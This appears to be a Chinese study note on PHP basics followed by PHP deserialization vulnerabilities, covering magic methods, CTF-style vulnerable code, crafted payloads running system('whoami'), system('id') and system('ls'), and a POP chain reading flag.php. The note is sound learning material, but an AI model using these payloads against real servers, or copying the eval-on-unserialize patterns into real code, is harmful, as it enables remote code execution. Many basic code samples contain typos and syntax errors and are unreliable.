PHP以及反序列化漏洞学习
参见B站视频:
简介
概念
运行在服务器的脚本语言
- 超文本预处理器
- 服务端的脚本语言
- 可以和 HTML 无缝对接
- 文件名以「.php」结尾
工作流程
- 客户端发送一个请求
- 服务器运行 PHP
- 查询数据库(如果需要) / 加载其他文件(如果需要)
- 返回请求结果
特点
- 容易学习
- 免费开源
- 兼容性高
- 跨平台
- 灵活
能做什么
- 创建动态页面
- 与服务器上的文件进行交互
- 处理表单事件
- 发送或接受 Cookies
- 与数据库进行交互
编写语法
文件头
<?php // 文件头 echo 'Hello World!'?>//文件尾注释
<?php //单行注释 #单行注释 /* 多行注释 */?>变量
<?php#变量 variables: /* - 前缀是"$" - 字母/下划线开头 - 大小写敏感 */ $_output = "Hello World!"; echo $_output // echo 函数回显?>数据类型
<?php/* -String -Integer -Float -Boolean -Array -Object -Null -Resource*/ $_output = "Hello"; $number = 5; $float = 5.5; $bool = false;?>嵌套 html
<h1><?php echo 'Hello World!'?></h1>数字相加
<?php #数字相加用 「+」 $num1 = 7; $num2 = 12; $sum = $num1 + $num2;
echo $sum;#19?>字符串
<?php #字符串拼接用 「.」 $string1 = "Hello"; $string2 = "World"; $greeting = $string1 . " " . $string2;
echo $greeting;#Hello World?>单引号和双引号
<?php /* 单引号所有内容是字符串 双引号变量可解析 */ $string1 = "Hello"; $string2 = "World"; $greeting1 = '$string1 $string2'; $greeting2 = "$string1 $string2"; echo $greeting1;#$string1 $string2 echo $greeting2;#Hello World?>转义字符
<?php $string1 = "They're Here"; $string2 = 'They\'re Here';?>常量
<?php #常量名要求大写 define('GREETING','Hello Everyone!'); #后面加true可使用小写 define('GREETING','Hello Everyone!',true);?>if switch
<?php #执行一行 $num = 2; if($num <= 4) echo "Bingo";
#执行多行 $num = 2; if($num <= 4){ echo "Bingo"; echo "Bingo!BINGO!"; }
#== 和 === $num = '4'; if($num == 4)#值相等,为T echo "Bingo"; $num = '4'; if($num === 4)#值相等但是类型不等,为F echo "Bingo";
#if else $num = 3; if($num == 4) echo "4Bingo"; else if($num == 5) echo "5Bingo"; else echo "NO!";
#if 嵌套 $num = 6; if($num > 4){ if($num < 10){ echo "4<num<10"; }else{ echo "num>=10"; } }else if ($num == 4){ echo "num=4" }
#逻辑运算符 /* AND && OR || XOR 逻辑短路:左边满足右边不执行 */ $num = 6; if($num > 4 AND $num < 10){#($num > 4 && $num < 10)也可 echo "4<num<10"; }
$num = 6; if($num > 4 OR $num < 10){#($num > 4 || $num < 10)也可 echo "大于4或小于10"; }
$num = 6; if($num > 4 XOR $num < 10){ echo "只能有一真才真"; }
#switch(不加break会穿透) $favColor = "black";
switch($favColor){ case 'red' echo "RED!" break; case 'blue' echo "BLUE!" break; case 'black' echo "BLACK!" break; default: echo "NO!" break; }?>数组
<?php #下标数组 $people = array("Kevin","Henry","Bucky"); $cars = ["Honda","Toyota","Ford"]; echo $people[0]; echo $cars[2];
#添加数组 $cars[3] = "Bence"; $cars[] = "BMW";
#计算个数 echo count($cars);
#输出数组 print_r($cars);
#万能输出 var_dump($cars);#----------------------------------------------- #关联数组 $member = array("Subaru" => 486,"Nina" => 27); echo $member["Subaru"]; $ids = [27 => "nina",486 => "subaru"]; echo $ids[27];
#添加关联数组内容 $member["Kita"] = 193;
#输出数组 print_r($member);
#万能输出 var_dump($member);#----------------------------------------------- #多位数组 $ecars = array( array("Honda",20,10), array("Toyota",10,15), array("Ford",23,13) );
echo $cars[2] [2];?>循环
<?php #for 循环:知道循环多少次 #@pamrams - init,condition,inc for($i = 0;$i < 10;$i++){ echo $i; echo "<br>"; }
#while 循环:不知道循环多少次 #@params - condition $i = 0;
while($i < 10){ echo $i; echo "<br>"; $i++; }
#do-while 循环 #@params - conditon $i = 0; do{ echo $i; echo "<br>"; $i++; }
while($i < 10);
#foreach循环 下标Array $people = array("Henry","Elyse","Bucky");
for($i = 0;$i < count($people);$i++){ echo $people[$i]."<br>"; } #等同于 foreach($people as $person){ echo $peson; echo "<br>"; } #关联数组 $people = [ "Henry" => "henry@gmail.com", "Elyse" => "elyse@gmail.com", "Bucky" => "bucky@gmail.com" ];
foreach($people as $person => $email){ echo $person.":">$email; echo "<br>"; }?>函数
定义函数
<?php #定义函数 function simpleFunction(){ echo "Hello World!"; } #调用参数 simpleFunction();
#带参函数 function sayHello($name = "Henry"){#默认参数 echo "Hello $name<br>"; } sayHello("Joe"); sayHello();
#有参有返回值 function addNumbers($num1,$num2){ return $num1+$num2; } echo addNumbers(2,3);
#函数传引用 $myNum = 10; function addFive($num){ $num += 5; }
function addTen(&$num){#引用 $num += 10; } addFive($myNum); echo "value:$myNum<br>";#10
addTin($myNum); echo "Value:$myNum<br>";#10+10
?>字符串函数
<?php #substr #返回字符串的一部分 $output = substr("Hello",1,3);#从第一位开始到第三位结束 echo $output;#ell
$output = substr("Hello",-2);#取最后二位 echo $output;#lo
#strlen #返回字符串长度 $output = strlen("Hello World"); echo $output;#12
#strpos #查找字符串第一次出现的位置 $output = strpos("Hello World","o"); echo $output;#4
#strrpos #查找字符串最后一次出现的位置 $output = strrpos("Hello World","o"); echo $output;#7
#trim #去除首尾空格 $text = "Hello World "; $trimed = trim($text);
#strtoupper #字符串转为大写 $output = strtoupper("hello world"); echo $output;#HELLO WORLD
#strtolower #字符串转为小写 $output = strtoplower("HELLO WOrld") echo $output;#hello world
#ucwords #每个单词的首字母大写 $output = strtoupper("hello world"); echo $output;#Hello World
#str_replace() #替换所匹配的内容 $text = "Hello World"; $output = str_replace("World","Everyone",$text); echo $output;#Hello Everyone
#is_string #判断是不是字符串 $var1 = 44; $var2 = '44'; $output = is_string($var1) echo $output;#0 $output = is_string($var2) echo $output;#1
#gzcompress #压缩字符串 $string = "sfaikuvjkfsdvbkjlfeiu" $compressed = gzcompress($string); echo $compressed;#压缩后的乱码
#gzuncompress #解压字符串 original = gzunpress($compresed); echo $original;?>数组函数
<?php #创建数组 $array = array(); array_push($array,"hello");
#添加内容 array_push($array,"hello");#往最后面放 array_unshift($array,"world");#往最前面放
#删除内容 array_pop($array);#删除结尾的 array_shift($array);#删除开头的
#数组排序 array = [1,5,2,3,8,7,9,6,4]; sort($array);
#数组转为字符串 $array = array("hello","world"); $string = implode(",",$array); echo $string;
#字符串转换为数组 $array = explode(",",$string);
?>文件引入
DRY原则
引用前:
/home.php
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Home</title></head><body> <ul> <li><a href="index.php">Home</a></li> <li><a href="about.php">About</a></li> <li><a href="contact.php">Contact</a></li> </ul>
<h1> Home </h1>
<footer> <p>website © 2024</p> </footer></body></html>/about.php
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Home</title></head><body> <ul> <li><a href="index.php">Home</a></li> <li><a href="about.php">About</a></li> <li><a href="contact.php">Contact</a></li> </ul>
<h1> About </h1>
<footer> <p>website © 2024</p> </footer></body></html>/contact.php
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Home</title></head><body> <ul> <li><a href="index.php">Home</a></li> <li><a href="about.php">About</a></li> <li><a href="contact.php">Contact</a></li> </ul>
<h1> About </h1>
<footer> <p>website © 2024</p> </footer></body></html>引用后:
/inc/header.php
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Home</title></head><body> <ul> <li><a href="index.php">Home</a></li> <li><a href="about.php">About</a></li> <li><a href="contact.php">Contact</a></li> </ul>/inc/footer.php
<footer> <p>website © 2024</p> </footer></body></html>/home.php
#include引用:即使报错也继续解析代码(可加括号)
<?php include "inc/header.php" ?><h1> Home </h1><?php include "inc/footer.php" ?>/about.php
#require引用:一旦报错就不执行下面代码(可加括号)
<?php require "inc/header.php" ?><h1> About </h1><?php require "inc/footer.php" ?>/contact.php
#include_once/require_once:只引入一次,多引入不起效果
<?php include_once("inc/header.php") ?><?php include_once("inc/header.php") ?><?php include_once("inc/header.php") ?><h1> Contact </h1><?php require_once "inc/footer.php" ?><?php require_once "inc/footer.php" ?><?php require_once "inc/footer.php" ?>Shorthand 语法糖
<?php $loggedIn = ture;
#if: if($loggedIn){ echo "You're logged in"; }else{ echo "You're NOT logged in"; }
#三目运算符 echo (loggedIn) ? "You're logged in" : "You're NOT logged in";
# 三目运算符嵌套使用 $age =7; $score = 12; echo "你的分数是:".($score>10?($age>10 ? "中等成绩":"优等成绩"):($age > 10 ? "差等成绩":"中等成绩"));?>与 html 嵌套
<?php$loggedIn = ture;?>
<div><?php if($loggedIn){ ?> <h1>Welcome!</h1><?php }else{ ?> <h1>Hello Everyone!</h1><?php } ?></div>
<!-- 更美观的写法 --><div><?php if($loggedIn):?> <h1>Welcome!</h1><?php else: ?> <h1>Hello Everyone!</h1><?php endif; ?></div>
<!-- for 循环语法糖 --><div><?php for($i=0;$i< 10;$i++):?> <li><?php echo $i."<br>";?></li><?php endfor;?></div>
<!-- foreach 循环语法糖 --><?php$arr = ["Henry","Bucky","Emily"];?><div><?php foreach($arr as $val): ?> <?php echo $val."<br>";?><?php endforeach;?></div>超全局对象 $_SERVER
$_SERVER — 服务器和执行环境信息 PHP文档
/server-info.php
<?php $server=[#关联数组_服务器信息 "Host Server Name"=>$_SERVER["SERVER_NAME"], "Server Software" => $_SERVER["SERVER_SOFTWARE"], "Document Root" => $_SERVER["DOCUMENT_ROOT"], "Http Host" => $_SERVER["HTTP_HOST"], "Script Name" => $_SERVER["SCRIPT_NAME"] "Absolute Path" => $_SERVER["SCRIPT_FILENAME"] "Current Page" => $_SERVER["PHP_SELF"] ]; #echo $server["Current Page"];
$client = [#关联数组客户端信息 "Client System Info" => $_SERVER["HTTP_USER_AGENT"], "Client IP" =>$_SERVER["REMOTE_ADDR"], "Remote Port"=> $_SERVER["REMOTE_PORT"] ]; #echo $client['Remote Port"];?>/index.php
<?php include "server-info.php" ?>
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>服务器与客户端的信息</title> <link rel="stylesheet" href="https://bootswatch.com/cosmo/bootstrap.min.css"></head><body>
<div class="container"> <h1>服务器端的配置信息</h1> <?php if($server): ?> <ul class="list-group"> <?php foreach($server as $key => $value): ?> <li class="list-group-item"> <strong><?php echo $key; ?>:</strong> <?php echo $value; ?> </li> <?php endforeach;?> </ul> <?php endif; ?> </div>
<h1>客户端的配置信息</h1> <?php if($client): ?> <ul class="list-group"> <?php foreach($client as $key => $value): ?> <li class="list-group-item"> <strong><?php echo $key; ?>:</strong> <?php echo $value; ?> </li> <?php endforeach;?> </ul> <?php endif; ?>
</body></html>GET&POST 请求
GET放入URL
POST放入HTTP header里
_POST 类似上面 $_SERVER
/get_post.php
<?php /*#GET if(isset($_GET["name"])){#判断是否GET传入name echo $_GET["name"]; $email = $_GET["email"]; print_r($email); } #POST if(isset($_POST["name"])){#判断是否GET传入name echo $_POST["name"]; $email = $_POST["email";] print_r($email); }*/ #REQUEST 获取GET或者POST(需要注释上面) if(isset($_REQUEST["email"])){#判断是否GET传入name echo $_REQUEST["email"]; $name = $_REQUEST["name";] print_r($name);
echo $_SERVER["QUERY_STRING"];#获取GET传入的值("?"后面的)}?>
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>My Website</title></head><body>
<!--GET提交到当前php--> <form method="GET" action="get_post.php"> <div> <label>名字</label> <input type="text" name="name"> </div> <div> <label>邮箱</label> <input type="text" name="email"> </div> <input type="submit" value="确认"> </form>
<!--前端传入 后台存储 返回前端--> <ul> <li><a href="get_post.php?name=Henry">Henry</a></li> <li><a href="get_post.php?name=Bucky">Bucky</a></li> </ul>
<h1> <?php echo"我的名字是:{$name}"?> </h1>
</body></html>过滤器函数
<?php #FILTER_VALIDATE_BOOLEAN #FILTER_VALIDATE_EMAIL #FILTER_VALIDATE_FLOAT #FILTER_VALIDATE_INT #FILTER_VALIDATE_IP #FILTER_VALIDATE_REGEXP #FILTER_VALIDATE_URL
#FILTER_SANITIZE_EMAIL #FILTER_SANITIZE_ENCODED #FILTER_SANITIZE_NUMBER_FLOAT #FILTER_SANITIZE_NUMBER_INT #FILTER_SANITIZE_SPECIAL_CHARS #FILTER_SANITIZE_STRING #FILTER_SANITIZE_URL/* #检查post过来的数据 if(filter_has_var(INPUT_POST,'data')){#是否有这样的变量,type如果是post用INPUT_POST echo "data found"; }else{ echo "No data"; }*/ if(isset($_POST["data"])){ $email = $_POST["data"];
#干掉不合法字符 $email = filter_var($email,FILTER_SANITIZE_EMAIL); echo $email;
#验证是否为邮箱 if(filter_input(INPUT_POST,'data',FILTER_VALIDATE_EMAIL)){ echo "邮箱合法"; }else{ echo "邮箱非法"; }
#VALIDATE验证 if(filter_var($email,FILTER_VALIDATE_EMAIL)){ echo "邮箱合法"; }else{ echo "邮箱非法"; } }
?><!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>过滤器函数</title></head><body> <form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>"> <input type="text" name="data"> <button type="submit">submit</button> </form></body></html>Session 存储
Session 存储在服务器上
/page1.php
<?php if(isset($_POST{"submit"})){ $name = $_POST["name"]; $email = $_POST["email"];
#存储到session里 session_start();#如果不执行此方法,不能使用session
$_SESSION["name"] = $name; $_SESSION["email"] = $email;
header("Location: page2.php");#跳转 }?><!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>PHP SESSION</title></head><body> <form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>"> <input type="text" name="name" placeholder="Enter Name"> <input type="text" name="email" placeholder="Enter Email"> <input type="sumbit" name="submit" value="Submit"> </form></body></html>/page2.php
<?php #获取到session session_start();#
$name = $_SESSION["name"]; $email = $_SESSION["email"];
}?><!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Page2</title></head><body> <div>你的名字是:<?php echo $name; ?></div> <div>你的邮箱是:<?php echo $email; ?> </div></body></html>/page3.php
<?php #清除session session_start(); unset($_SESSION["name"]);#清除name session_destroy();#清除所有
$name = isset($_SESSION["name"]) ? $_SESSION["name"] : '';#消除报错,无则返回空 $email = $_SESSION["email"]; }?><!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Page2</title></head><body> <div>你的名字是:<?php echo $name; ?></div> <div>你的邮箱是:<?php echo $email; ?> </div></body></html> }?>Cookie 存储
/page1.php
<?php if(isset($_POST{"submit"})){ $username = $_POST["username"]; setcookie("username",$usename,time() + 3600)#名字,变量,过期时间(当前时间+1小时) }?><!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>PHP Cookies</title></head><body> <form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>"> <input type="text" name="username" placeholder="Enter Name"> <input type="sumbit" name="submit" value="Submit"> </form></body></html>/page2.php
<?php #修改 setcookie("username","Henry",time() + (86400 * 30))
#删除(过期时间) setcookie("username","Henry",time() +- 3600)
# 判断有几个cookie if(count($COOKIE)>0){ echo "一共有".count($_COOKIE)."个cookies"; }else{ echo "没有任何的cookies"; }
#查询 if(isset($_COOKIE{"submit"})){#查询 echo "Username".$_COOKIE["username"]." 存在"; }else{ echo "username不存在";?>面向对象
面向过程
面向过程是一种以“整体时间”为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,再一步步的具体步骤中按照顺序调用函数
面向对象
面向对象是一种以“对象”为中心的编程思想,把要解决的问题分解成哥哥“对象”,对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象
类
类是定义了一件事物的抽象特征,它将数据的形式以及这些数据上的操作封装在一起
对象
对象是具有类类型的变量,是对类的实例,内部构成:成员变量(属性)+ 成员函数(方法)
成员变量
成员变量是定义在类内部的变量,变量的只对外是不可见的,但是可以通过成员函数访问,在类被实例化为对象后,该变量即可成为对象的属性
成员函数
成员函数定义在类的内部,可用于访问对象的数据
继承
是子类自动共享父类数据结构和方法的机制,是类之间的一种关系。在定义和实现一个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容
<?php #类 #对象 /* public:访问场景 类的外部可以访问 类的内部可以访问 类的子类可以访问
private:访问场景 类的内部可以访问
protected:访问场景 类的内部可以访问 类的子类可以访问 */ #创建一个类 class Person{ #属性 <名词> public $name = "Nina";#外部,内部,子类都可 private $email = 22227777@qq.com;#只能在类的花括号里使用 protected $age = 18;#花括号里,子类
#方法 <动词> public function setEmail($email){ $this->email = $email;#this是实例化的对象 } public function getEmail(){ return $this->email; }
#构造函数:自执行函数——对象实例化时执行 public function __construct($name,$email){ $this->name = $name; $this->email = $email; }
#析构函数:自执行函数——对象销毁时执行 public function __destruct(){ echo __CLASS__."被销毁了";#当前class变量 } }
#实例化对象 $person1 = new Person("Henry","123123123@123.com"); $person1->name = "Henry"; echo $person1->name;#调用不加$ echo $persion1->getEmail();
$person2 = new Person("Bucky","123123@123.com"); echo $person2->name; echo $persion2->getEmail();
#类的继承 class Customers extends Person{ private $salary = "3000"; public function setSalary($salary){ $this->salary = $salary; } public function getSalary(){ return $this->salary; }
#构造函数 public function __construct($name,$email,$salary){ #调用父级构造函数 parent::__construct($name,$email); $this->salary = $salary; } }
$customer1 = new Customers("henry","Henry@gmail.com","10000"); echo $customer1->getName();
?>修改数据库
<?php #链接数据库 $mysqli = new mysqli("localhost","root","","people");#主机名,用户名,密码,要链接的数据库(mysql-user里有)
#判断数据库是否连接成功 id($mysql->connect_errno){#Error Number #非0就为连接失败 die($mysql->connect_error); }
#设定编码格式 $mysqli->query( #运行sql语句 $mysqli->query("INSERT INTO 'customers'('id','firstName','lastName','email','address','city','state')VALUES (NULL,'li','four','123123@qq.com','广东深圳','广东','深圳')")
#判断是否插入成功 if($result){ echo "插入成功"; }else{ echo "插入失败"; } $mysqli->close();?>序列化
序列化是讲对象的状态信息(属性)转化为可以存储或传输的形式。将或者数组转化为可存储/传输的字符串
注意:冒号分割,分号结束
一般活用echo urlencode()、urldecode()
<?phpclass TEST { public $data; public $data2 = "dazzhuang"; private $pass;
public function __construct($data, $pass) { $this->data = $data; $this->pass = $pass; }}
$number = 34;#i:34; --i+值(小数是d+值)$str = 'user';#s:4:"user"; --s+长度(分割字符串与代码)+字符串$bool = true;#b:1; --b+1真/0假$null = NULL;#$N; --N$arr = array('a' => 10, 'b' => 200);#a:2:{s:1:"a";i:10;s:1:"b";i:200;} --数组名+内容数量+{i:编号+值名字长度;+……}
#序列化对象,不可序列化类,只序列化成员变量,不序列化函数$test = new TEST('uu', true);#O:4:"TEST":3:{s:4:"data";s:2:"uu";s:5:"data2";s:9:"dazzhuang";s:10:"0TESTpass0";b:1;}#O(Object)+类名长度+类名+变量数量:{s:成员属性名字长度;+值名字长度+……}
#私有属性会在前面加上%00当前类名%00(空字符也算长度)#受保护的属性会在前面加上%00*%00
$test2 = new TEST('uu', true);$test2->data = &$test2->data2;#O:4:"TEST":3:{s:4:"data";s:9:"dazzhuang";s:5:"data2";R:2;s:10:"TESTpass";b:1;}
echo serialize($number)."<br />";echo serialize($str)."<br />";echo serialize($bool)."<br />";echo serialize($null)."<br />";echo serialize($arr)."<br />";echo serialize($test)."<br />";echo serialize($test2)."<br />";?>
反序列化
反序列化之后的内容是一个对象
反序列化生成的对象里的值,反序列化里的值
反序列化不触发类的成员方法,需要调用方法后才触发
<?phpclass test { public $a = 'benben'; protected $b = 666; private $c = false; public function displayVar() { echo $this->a; }}$d = new test();$d = serialize($d);echo $d."<br />";echo urlencode($d)."<br />";$a = urlencode($d);$b = unserialize(urldecode($a));var_dump($b);
?>反序列化漏洞
成因
反序列化过程中,unserialize()接收的值(字符串)可控, 通过更改这个值(字符串)得到所需要的代码 通过调用方法,触发代码执行。
魔术方法
一个预定义好的。在特定情况下自动触发的行为方法
魔术方法在特定条件下自动调用相关方法,最终导致触发代码
相关机制:出发时机、功能、参数、返回值
触发前提
魔术方法所在的类(或对象)被调用
<?phpclass fast { public $source; public function __wakeup(){ echo "wakeup is here!!"; echo $this->source; }}class sec { var $benben; public function __tostring(){ echo "tostring is here!!"; }}$b = $_GET['benben'];unserialize($b);?>未调用fast
$b = 'O:3:"sec":1:{s:6:"benben";N;}';
调用了fast
$b = 'O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}';
__construct()和__destruct()
__construct()构造函数
在实例化一个对象的时候,首先会去自动执行的一个方法
-
触发时机:实例化对象
-
功能:提前清理不必要内容
-
参数:非必要
-
返回值:——
<?phpclass User { public $username; public function __construct($username) { $this->username = $username; echo "触发了构造函数1次" ; }}$test = new User("benben");#创建,触发$ser = serialize($test);#序列化,不触发unserialize($ser);#反序列化,不触发
?>__destruct()析构函数
在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法
-
触发时机:对象引用完成或对象被销毁
-
功能:——
-
参数:——
-
返回值:——
<?phpclass User { public function __destruct() { echo "触发了析构函数1次"."<br />" ; }}$test = new User("benben");#实例化结束后代码运行完全销毁,触发$ser = serialize($test);#序列化,不触发unserialize($ser);#反序列化,触发
?>例题:
<?phperror_reporting(0);class User { var $cmd = "echo 'dazhuang666!!';" ; public function __destruct() { eval ($this->cmd); }}$ser = $_GET["benben"];unserialize($ser);
?>解析:unserialize()触发__destruct(),__destruct()执行eval(),eval()触发代码
传入:
?benben=O:4:"user":1:{s:3:"cmd";s:17:"system("whoami");";}__sleep()和__wakeup()
__sleep()函数
序列化serialize()函数回检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会被调用,然后才执行序列化操作
此功能可以用于清空对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误
-
触发时机:序列化serialize()之前
-
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性
-
参数:成员属性
-
返回值:需要被序列化存储的成员属性
<?phpclass User { const SITE = 'uusama'; public $username; public $nickname; private $password; public function __construct($username, $nickname, $password) { $this->username = $username; $this->nickname = $nickname; $this->password = $password; } public function __sleep() { return array('username', 'nickname');#只返回username, nickname }}$user = new User('a', 'b', 'c');echo serialize($user);?>__wakeup()函数
unserialize()会检査是否存在一个__wakeup()方法。如果存在则会先调用__wakeup()方法,预先准备对象需要的资源预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库,连接或执行其他初始化操作。
-
触发时机:反序列化unserialize()之前
-
功能:——
-
参数:——
-
返回值:——
-
对比
()在反序列化unserialize()之前,destruct()在反序列化unserialize()之后
<?phphighlight_file(__FILE__);error_reporting(0);class User { const SITE = 'uusama'; public $username; public $nickname; private $password; private $order; public function __wakeup() { $this->password = $this->username; }}$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';var_dump(unserialize($user_ser));#先执行__wakeup赋值password,最后会输出password?>例题:
<?phphighlight_file(__FILE__);error_reporting(0);class User { var $cmd = "echo 'dazhuang666!!';" ; public function __destruct() { eval ($this->cmd); }}$ser = $_GET["benben"];unserialize($ser);
?>传入
?benben=O:4:"User":1:{s:8:"username";S:2:"id";}__toString()和__invoke()
__toString()函数
表达方式错误导致魔术方法触发,常用于构造POP链接
-
触发时机:把对象当成字符串调用
-
功能:——
-
参数:——
-
返回值:——
<?phphighlight_file(__FILE__);error_reporting(0);class User { var $benben = "this is test!!"; public function __toString() { return '格式不对,输出不了!'; }}$test = new User() ;print_r($test);#正常输出echo "<br />";echo $test;#对象当成字符串输出,触发?>__invoke()函数
格式表达错误导致魔术方法触发
- 触发时机:把对象当成函数调用
- 功能:——
- 参数:——
- 返回值:——
<?phperror_reporting(0);class User { var $benben = "this is test!!"; public function __invoke() { echo '它不是个函数!'; }}$test = new User() ;echo $test ->benben;#正常输出,不触发echo "<br />";echo $test() ->benben;#对象当做函数调用,触发?>错误调用相关魔术方法
__call()函数
- 触发时机:调用一个不存在的方法
- 功能:——
- 参数:2个参数,传参arg2
- 返回值:调用的不存在的方法的名称和参数
<?phperror_reporting(0);class User { public function __call($arg1,$arg2) { echo "$arg1,$arg2[0]"; }}$test = new User() ;$test -> callxxx('a');#不存在,触发并传参callxxx,a?>__callStatic()函数
- 触发时机:静态调用或调用常量的时候使用的方法不存在
- 功能:——
- 参数:2个参数,传参arg2
- 返回值:调用的不存在的方法的名称和参数
<?phperror_reporting(0);class User { public function __callStatic($arg1,$arg2) { echo "$arg1,$arg2[0]"; }}$test = new User() ;$test::callxxx('a');#不存在,触发并传参callxxx,a?>__get()函数
- 触发时机:调用的成员属性不存在
- 功能:——
- 参数:传参$arg1
- 返回值:不存在的成员属性的名称
<?phperror_reporting(0);class User { public $var1; public function __get($arg1) { echo $arg1; }}$test = new User() ;$test ->var2;#不存在,触发并传参var2?>__set()函数
- 触发时机:给不存在的成员赋值
- 功能:——
- 参数:2个参数,传参arg2
- 返回值:不存在的成员属性的名称和赋的值
<?phphighlight_file(__FILE__);error_reporting(0);class User { public $var1; public function __set($arg1 ,$arg2) { echo $arg1.','.$arg2; }}$test = new User() ;$test ->var2=1;#不存在,触发并传参var2,1?>__isset()函数
- 触发时机:对不可访问(不可读或者不存在)的属性使用isset()或empty()时,__isset()会被调用
- 功能:——
- 参数:传参$arg1
- 返回值:不存在的成员属性的名称
<?phperror_reporting(0);class User { private $var;#不可读 public function __isset($arg1) { echo $arg1; }}$test = new User() ;isset($test->var);#不可读,触发并传参var?>__unset()函数
- 触发时机:对不可访问(不可读或者不存在)的属性使用unset()会被调用
- 功能:——
- 参数:传参$arg1
- 返回值:不存在的成员属性的名称
<?phperror_reporting(0);class User { private $var;#不可读 public function __unset($arg1 ) { echo $arg1; }}$test = new User() ;unset($test->var);#不可读,触发并传参var?>__clone()函数
- 触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()
- 功能:——
- 参数:——
- 返回值:——
<?phperror_reporting(0);class User { private $var; public function __clone( ) { echo "__clone test"; }}$test = new User() ;$newclass = clone($test)#触发?>总结
| __construct() | __destruct() | __sleep() | __wakeup() | __toString() | __invoke() | __clone() | |
|---|---|---|---|---|---|---|---|
| 触发时机 | 实例化对象 | 对象引用完成,或对象被销毁反序列化之后 | 序列化serialize()之前 | 反序列化unserialize()之前 | 把对象被当成字符串调用(使用echo或者print) | 把对象当成函数调用 | 当使用 clone关键字拷贝完成一个对象 |
| 功能 | 提前清理不必要内容 | 对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。 | |||||
| 参数 | |||||||
| 返回值 | 需要被序列化存储的成员属性 |
| __call() | __callStatic() | __get() | __set() | __isset() | __unset() | |
|---|---|---|---|---|---|---|
| 触发时机 | 调用一个不存在的方法 | 静态调用不存在的方法 | 调用的成员属性不存在 | 给不存在的成员属性赋值 | 对不可访问属性使用 isset()或 empty() | 对不可访问属性使用 unset() |
| 功能 | ||||||
| 参数 | arg2 | arg2 | $arg1 | arg2 | $arg1 | $arg1 |
| 返回值 | 调用的不存在的方法的名称和参数 | 调用的不存在的方法的名称和参数 | 不存在的成员属性的名称 | 不存在的成员属性的名称和赋的值 | 不存在的成员属性的名称 | 不存在的成员属性的名称 |
例题
一
<?phperror_reporting(0);class test{ public $a = 'echo "this is test!!";'; public function displayVar() { eval($this->a); }}
$get = $_GET["benben"];#benben为对象序列化后的字符串$b = unserialize($get);#反序列化后赋值给b$b->displayVar() ;#调用方法触发可控代码
?>传入
benben=O:4:"test":1:{s:1:"a";s:13:"system("id");";}二
反推法
- 关联点:如何让$test调用evil里的成员方法action()
- 解决思路:给$test赋值为对象 test=new evil()
<?phperror_reporting(0);class index { private $test; public function __construct(){ $this->test = new normal();#这个使得触发nomal的action() } public function __destruct(){#unserialize执行 $this->test->action();#3.触发$test的action() }}class normal { public function action(){ echo "please attack me"; }}class evil { var $test2;#2.eval调用test public function action(){ eval($this->test2);#1.可利用漏洞点在eval() }}unserialize($_GET['test']);?>构造序列化
<?phpclass index { private $test; public function __construct(){ $this->test = new evil(); }}class evil{ var $test2 = "system('ls');";#1.构造执行语句
}$a = new index();echo urlencode(serialize($a));?>POP链构造
POP链
在反序列化中我们能控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一种漏洞利用方法交“面向属性编程”,即POP(Proiperty Oriented Programming)
POP链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种payload
POC编写
POC(Proof of concept)中文叫概念验证,在安全界可理解成漏洞验证程序。POC是一段不完整的程序,仅仅是为了证明提出者观点的一段代码
例题
<?php//flag is in flag.phphighlight_file(__FILE__);error_reporting(0);class Modifier { private $var; public function append($value) { include($value); echo $flag; } public function __invoke(){ $this->append($this->var); }}
class Show{ public $source; public $str; public function __toString(){ return $this->str->source; } public function __wakeup(){ echo $this->source; }}
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); }}
if(isset($_GET['pop'])){ unserialize($_GET['pop']);}倒推法,注意要调用类才触发魔术方法

删去方法,开始赋值
<?php//flag is in flag.phpclass Modifier { private $var = 'flag.php';#私有属性在这里赋值}class Show{ public $source;#Show obj public $str;#Test obj}class Test{ public $p;#Modifier obj} $a = new Show(); $a->source = $a; $b = new Test(); $a->str = $b; $c = new Modifier(); $b->p = $c; echo serialize($a);?>O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}字符串逃逸
前置知识
变量数不对应

字符串长度不对应

和原来类的个数不对应

「“」的判断

结束字符

属性逃逸
一般在数据经过一次serialize在经过unserialize,在这个中间反序列化的字符串变多或者变少的时候,才有可能存在反序列化属性逃逸
注意:一般在前面逃逸多「”;」后面逃逸多「;}」
字符减少
反序列化以「;}」结束,后面的字符串不影响正常的反序列化
一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候,有可能存在反序列化属性逃逸
反序列化字符串减少逃逸:多逃逸出一个成员属性
